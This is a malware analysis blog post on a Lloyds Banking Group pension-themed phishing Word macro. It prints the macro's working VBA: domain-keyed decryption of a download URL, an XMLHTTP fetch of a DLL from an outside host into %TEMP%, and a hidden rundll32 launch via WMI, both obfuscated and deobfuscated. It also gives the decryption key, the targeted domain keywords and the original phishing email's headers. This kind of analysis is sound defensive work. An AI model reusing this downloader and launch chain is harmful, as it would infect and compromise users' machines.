Malware Analysis: mud.doc
This phishing document was interesting for not only its lure / cover, but also for the way it used encryption to target users who had a domain with certain key words in it. While brute forcing the domains only results in some potentially financial key words, the stage 2 domain acts as a pivot to find an original phish email in VT, which shows this was quite targeted after all.
File Info
Filename | mud.doc |
md5 | 86149cafa27cf964bacc18859bfb9b00 |
VT Link | https://www.virustotal.com/#/file/df4e2efa8d2ec9f323b501d46d126c4f663b8d757c12954b885a17fa9a8ca46b/details |
Document Structure
The document is a full page image, with two VBA modules, “ThisDocument” and “NewMacros”.
remnux@remnux:~/host-malware/mud.doc$ oledump.py df4e2efa8d2ec9f323b501d46d126c4f663b8d757c12954b885a17fa9a8ca46b
1: 114 '\x01CompObj'
2: 280 '\x05DocumentSummaryInformation'
3: 416 '\x05SummaryInformation'
4: 8866 '1Table'
5: 4096 'Data'
6: 498 'Macros/PROJECT'
7: 71 'Macros/PROJECTwm'
8: M 30499 'Macros/VBA/NewMacros'
9: M 2269 'Macros/VBA/ThisDocument'
10: 8337 'Macros/VBA/_VBA_PROJECT'
11: 7465 'Macros/VBA/__SRP_0'
12: 638 'Macros/VBA/__SRP_1'
13: 976 'Macros/VBA/__SRP_2'
14: 208 'Macros/VBA/__SRP_3'
15: 11804 'Macros/VBA/__SRP_4'
16: 1030 'Macros/VBA/__SRP_5'
17: 827 'Macros/VBA/dir'
18: 128 'ObjectPool/_1586936887/\x01CompObj'
19: 32 'ObjectPool/_1586936887/\x03OCXNAME'
20: 6 'ObjectPool/_1586936887/\x03ObjInfo'
21: 552 'ObjectPool/_1586936887/\x03PRINT'
22: 60 'ObjectPool/_1586936887/contents'
23: 181815 'WordDocument'
Metadata shows it was created and last modified on the 4th of May, 2018, by KPMGUser. This user name is certainly a reference to the giant consulting firm, KPMG.
Lure
Document Display
The authors of this document went to some trouble to work on their cover story. The document is a Lloyds Banking Group themed phish, which is offering to search for old pensions under your name. They’re asking you to hit the “Authorize” button, and they are nice enough to tell you that you’ll need to enable macros to do this.
This is interesting because they are not going with the typical claim of older version of office, or just click here. Rather, they’ve built a premise that, if you believe it, would actually require macros to run.
pensionio.com
For what it’s worth, pensionio.com and www.pensionio.com don’t resolve in DNS. According to VT, they did in May:
VBA
The code within ThisDocument
is the rest of the cover story. When you enable macros and click submit, you get a pop-up telling you that you’ve submitted, and telling you your current username, which the authors suspect is enough for the target to move on while they wait for results, which will never come.
remnux@remnux:~/host-malware/mud.doc$ oledump.py -s 9 -v df4e2efa8d2ec9f323b501d46d126c4f663b8d757c12954b885a17fa9a8ca46b Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 0, 0, MSForms, CommandButton"
Private Sub CommandButton1_Click()
User = Environ("USERNAME")
MsgBox "Thank you for submitting. Your username is : " + User
End Sub
Malicious VBA
The VBA is targeted towards very specific targets. The code is in the NewMacros
module, and it execution on opening by implementing AutoOpen()
, which simply calls RunMe
.
The RunMe
function takes the following actions:
- Initializes and attempts to decrypt a master key using the user’s domain as a key (
keyVar = UCase(Environ("USERDNSDOMAIN"))
). - Uses the master key to decrypt a string url.
- Issue a GET request using
Microsoft.XMLHTTP
to get the url decrypted in 2, saving it to a file inEnviron("TEMP")
. - Creates a WMI object to create a rundll32.exe process to load the dll.
1. Decrypt Key with DNS Domain
Code
The malware will need to download the next stage binary, but as an anti-forensics measure, it keeps the url for that binary encrypted, and the VBA contains the routines to decrypt it. The master key is encrypted 19 times, presumably with different target domains. So the code gets the current domain using keyVar = UCase(Environ("USERDNSDOMAIN"))
, and then tries to decrypt each of the 20 binaries objects hardcoded as “keySchedule”. If none of them can be decrypted, and error message is thrown, and the code exits.
The code looks like this:
Sub RunMe()
Dim s, keyVar, sPlaintext As String
Dim masterKey As Variant
keyVar = UCase(Environ("USERDNSDOMAIN"))
Dim payload As String
payload = ""
Dim i As Integer
Dim keyScheduleBytes() As Variant
Dim myURL As String
Dim keySchedule(19) As String
keySchedule(0) = "i+6d45jyleWY9cH3h/yB6oeljPOT/tih3rU="
'...snip...'
keySchedule(19) = "keWR7ZPunued+N3yjv+M+Imqj/CK9tes1qo="
payload = payload & "uerr6erm67Xh86nk8rT19r/yofGx+u7s663+oLDpruevrvWss+64va7xpvHn"
payload = payload & "or/n5eO+/qfxpqGrtOK0tfap9f3r8rLns/r996Tivq+34beyqA=="
ReDim keyScheduleBytes(UBound(keySchedule))
For i = 0 To UBound(keySchedule)
keyScheduleBytes(i) = Decode64(keySchedule(i))
Next
masterKey = TryAllKeys(keyVar, keyScheduleBytes)
The TryAllKeys
code does just that. When passed the keyVar
(domain) and the keyScheduleBytes
, it first breaks the domain into pieces (using the ExpandDotString
function). Then it tries to decrypt each blob in the schedule with each piece of the domain, and if successful, returns the key, and otherwise raises and exception:
Function TryAllKeys(ByVal sInput As String, ByRef sKeys As Variant) As Byte()
Dim candidates() As String
Dim c As Variant
candidates = ExpandDotString(sInput)
For Each k In sKeys
For Each c In candidates
'
TryAllKeys = XorDecryptAndVerifyCRC(mascaktwo(c), k)
If (Not Not TryAllKeys) <> 0 Then
Exit Function
End If
Next c
Next k
Err.Raise vbObjectError + 555, "TryAllkeys", "Master key not found :/"
End Function
Brute Forcing the Domain - Technique
I wanted to figure out who was being targeted, so I grabbed a list of the top 10 million domains from here. Then, I wrote some modified versions of RunMe
and TryAllKeys
. In my version of RunMe
, it ends after calling TryAllKeys
. In my version of TryAllKeys
, it fails silently, and pops a message box on success. Then here’s my wrapper, plus modified functions:
Sub brute()
domains = "c:\domainlist.txt"
Open domains For Input As #1
Do Until EOF(1)
Line Input #1, domain
BruteRunMe (UCase(domain))
Loop
Close #1
End Sub
Sub BruteRunMe(keyVar As String)
Dim s, sPlaintext As String
Dim masterKey As Variant
Dim payload As String
payload = ""
Dim i As Integer
Dim keyScheduleBytes() As Variant
Dim myURL As String
Dim keySchedule(19) As String
keySchedule(0) = "i+6d45jyleWY9cH3h/yB6oeljPOT/tih3rU="
'...snip...'
keySchedule(19) = "keWR7ZPunued+N3yjv+M+Imqj/CK9tes1qo="
payload = payload & "uerr6erm67Xh86nk8rT19r/yofGx+u7s663+oLDpruevrvWss+64va7xpvHn"
payload = payload & "or/n5eO+/qfxpqGrtOK0tfap9f3r8rLns/r996Tivq+34beyqA=="
ReDim keyScheduleBytes(UBound(keySchedule))
For i = 0 To UBound(keySchedule)
keyScheduleBytes(i) = Decode64(keySchedule(i))
Next
masterKey = BruteTryAllKeys(keyVar, keyScheduleBytes)
End Sub
Function BruteTryAllKeys(ByVal sInput As String, ByRef sKeys As Variant) As Byte()
Dim candidates() As String
Dim c As Variant
candidates = ExpandDotString(sInput)
For Each k In sKeys
For Each c In candidates
TryAllKeys = XorDecryptAndVerifyCRC(mascaktwo(c), k)
If (Not Not TryAllKeys) <> 0 Then
MsgBox ("Found Key: " & sInput & vbNewLine & "Key: " & c)
Exit Function
End If
Next c
Next k
End Function
I would later modify the code to write results to a file, so that I could let it run for a while and see what came out.
Brute Forcing the Domain - Results
If any of the following strings are found in the target’s domain when it’s split at the .
s, then the key decrypts:
- B
- BANKOFSCOTTLAND
- BB
- BBB
- BBBB
- BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCO
- DWP
- FINANCE
- GLOBAL
- GSL
- HALIFAX
- LSC
- MEX
- MIG
- NCA
- NO
- NONO
- RSF
We can also get the master key by putting a break at the return for TryAllKeys
, and then using their own BytesToString
function:
print BytesToString(TryAllKeys)
fb44099ff229b629
2. Decrypt String
With the master key decrypted, the code can now decrypt the url for the next stage payload:
ciphertext = Decode64(payload)
bPlaintext = XorDecryptAndVerifyCRC(masterKey, ciphertext)
sPlaintext = BytesToString(bPlaintext)
zzz = sPlaintext
Breaking at this point gives us the next stage: https://gdpr-datagroup.com/documents/additional-document-tempalates.docx
.
Unfortunately (though not surprisingly), the link is no longer active.
3. Get the Binary
The next block of code gets the binary. While the url indicates this is a .docx, we’ll see it is actually a .dll executable file.
Dim ampleMacarons
Dim bStrm
Dim filename
Set ampleMacarons = CreateObject(StrReverse("PTTHLMX.tfosorciM"))
ampleMacarons.Open "GET", zzz, False
ampleMacarons.Send
Set dollop = CreateObject(StrReverse("maertS.bdodA"))
dollop.Type = 1
dollop.Open
dollop.Write ampleMacarons.responseBody
dstPath = Environ$("TEMP") & "\" & namePrefix & "_" & DateDiff("s", #1/1/1970#, Now()) & nameSuffix
savePath = dstPath
dollop.savetofile savePath, 2
To avoid filters, this section uses another obfuscation technique, putting all the strings through a reverse function. These are easy enough to undo by hand, but may avoid automated filters. The code creates a Microsoft.XMLHTTP
object, uses it to issue a get request. Then, it creates a Adodb.Stream
objection, which is passes in the response body, and uses that to save to %TEMP%\tialdyos_[timestamp count].dll
.
4. Use WMI to create a rundll32 process to run the dll
Finally, the script uses WMI to create a process. Here’s the code:
Const HIDDEN_WINDOW = 0
strComputer = "."
abc = StrReverse("23lldnur") & " " & dstPath & ",Start"
strGetObject = StrReverse("2vmic\toor\.\\:stmgmniw")
Set objWMIService = GetObject(strGetObject)
Set objStartup = objWMIService.Get(StrReverse("putratSssecorP_23niW"))
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject(strGetObject & StrReverse("ssecorP_23niW:"))
objProcess.Create abc, Null, objConfig, intProcessID
Here’s the code with the StrReverse
s removed:
Const HIDDEN_WINDOW = 0
abc = "rundll32 " & dstPath & ",Start"
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
objProcess.Create abc, Null, objConfig, intProcessID
So it creates a WMI object, which starts a process with a hidden window, and runs it with command line rundll32 [downloaded.dll],Start
.
gdpr-datagroup.com
In doing some quick looking at domain used to download the next stage, I found that VT had one “Files Referring”, which happened to be dated 4 days after the creation of the document:
LBG Employee Benefits - Pensionio.msg
Converting to text
The msg file is a Outlook message file:
~/malware/mud.doc# file 68a4985515203c6c8274628e71b433444e32bbbc125ffdf88d7570c3960b2588
68a4985515203c6c8274628e71b433444e32bbbc125ffdf88d7570c3960b2588: CDFV2 Microsoft Outlook Message
We can convert it to something more readable using msgconvert
, and get it in plain text.
Message Analysis
The email has no plain text section, only headers, and two attachments ‘lbg-pensionio-form-2018.doc’ and ‘ATT00001.htm’. Presumably most email clients would display ATT00001.htm as the body.
Headers
Basic Meta
The headers indicate the message was sent at 12:16 on May 8 +0100, from Jonathan Margate <jonathan.margate@pensionio.com> to kevin.harris2@lloydsbanking.com. The subject line, “LBG Employee Benefits - Pensionio” fits the lure.
The X-Originating-IP is 167.99.39.125, which is a DigitalOcean IP, so it’s likely not actually Pensionio.
The X-Filenames header reports the attachment names are “PGPexch.htm.pgp, Attachment1.pgp”. There’s a couple other PGP-related headers, so it seems that this message was sent encrypted, though it’s been decrypted by the time it’s uploaded to VT.
Symantec MessageLabs
The received headers show that the message coming to server-27.tower-301.messagelabs.com.
Received: from mgwlspet03f004.machine.group (10.127.112.171) by
EXCLGVIRTUAL005.Global.Lloydstsb.Com (10.126.197.91) with Microsoft SMTP
Server (TLS) id 8.3.515.0; Tue, 8 May 2018 12:18:18 +0100
Received: from pgplspet02d002-int.machine.group (HELO
pgplspet02d002.machine.group) ([10.125.105.11]) by
mgwlspet03f004.machine.group with ESMTP/TLS/DES-CBC3-SHA; 08 May 2018
12:18:16 +0100
Received: from MGWLSPET03F001.machine.group ([10.12.225.81]) by
pgplspet02d002.machine.group (PGP Universal service); Tue, 08 May 2018
12:18:17 +0100
Received: from mail6.bemta25.messagelabs.com ([195.245.230.171]) by
MGWLSPET03F001.machine.group with ESMTP; 08 May 2018 12:17:55 +0100
Received: from [46.226.53.49] (using TLSv1.2 with cipher
DHE-RSA-AES256-GCM-SHA384 (256 bits)) by
server-3.bemta.az-c.eu-west-1.aws.symcld.net id 6B/DA-03930-A5781FA5; Tue, 08
May 2018 11:17:46 +0000
Received: (qmail 9141 invoked from network); 8 May 2018 11:17:45 -0000
Received: from unknown (HELO pensionio) (167.99.39.125) by
server-27.tower-301.messagelabs.com with SMTP; 8 May 2018 11:17:45 -0000
Received: by pensionio (Postfix, from userid 1000) id A278240D2A; Tue, 8 May
2018 11:17:45 +0000 (UTC)
messagelabs.com actually redirects to a Symantec page, https://www.symantec.com/theme/cloud-generation. Based on the MX records associated with lloydsbanking.com, Lloyds uses this service for email scanning:
~/malware/mud.doc# dig lloydsbanking.com MX
...snip...
;; ANSWER SECTION:
lloydsbanking.com. 28800 IN MX 10 cluster1.eu.messagelabs.com.
lloydsbanking.com. 28800 IN MX 20 cluster1a.eu.messagelabs.com.
The X-Brightmail-Tracker
header is also something Symantec uses to track false positives and false negatives.
Body (ATT00001.htm)
We can base64 decode this attachment, and view it in a browser:
So this is a very targeted phish towards a Lloyds employee, from a made up company. It’s pretty convincing. I wish we could see what was a www.pensionio.com.
Summary
Unfortunately, as one might expect since it’s been 2+ months since this document’s creation, the download domain for the next stage isn’t available, so we can’t determine what the next stage of the attack might have been. Still, with the document and the original email, we got to see a targeted phishing threat against Lloyds Bank. This document was fun to play with since it provided a chance to brute force decrypt the payload, and included a somewhat targeted lure. And while the encryption certainly wasn’t that hard to break, it was definitely enough to keep the document from revealing it’s next steps to any automated sandboxes, which was likely the goal.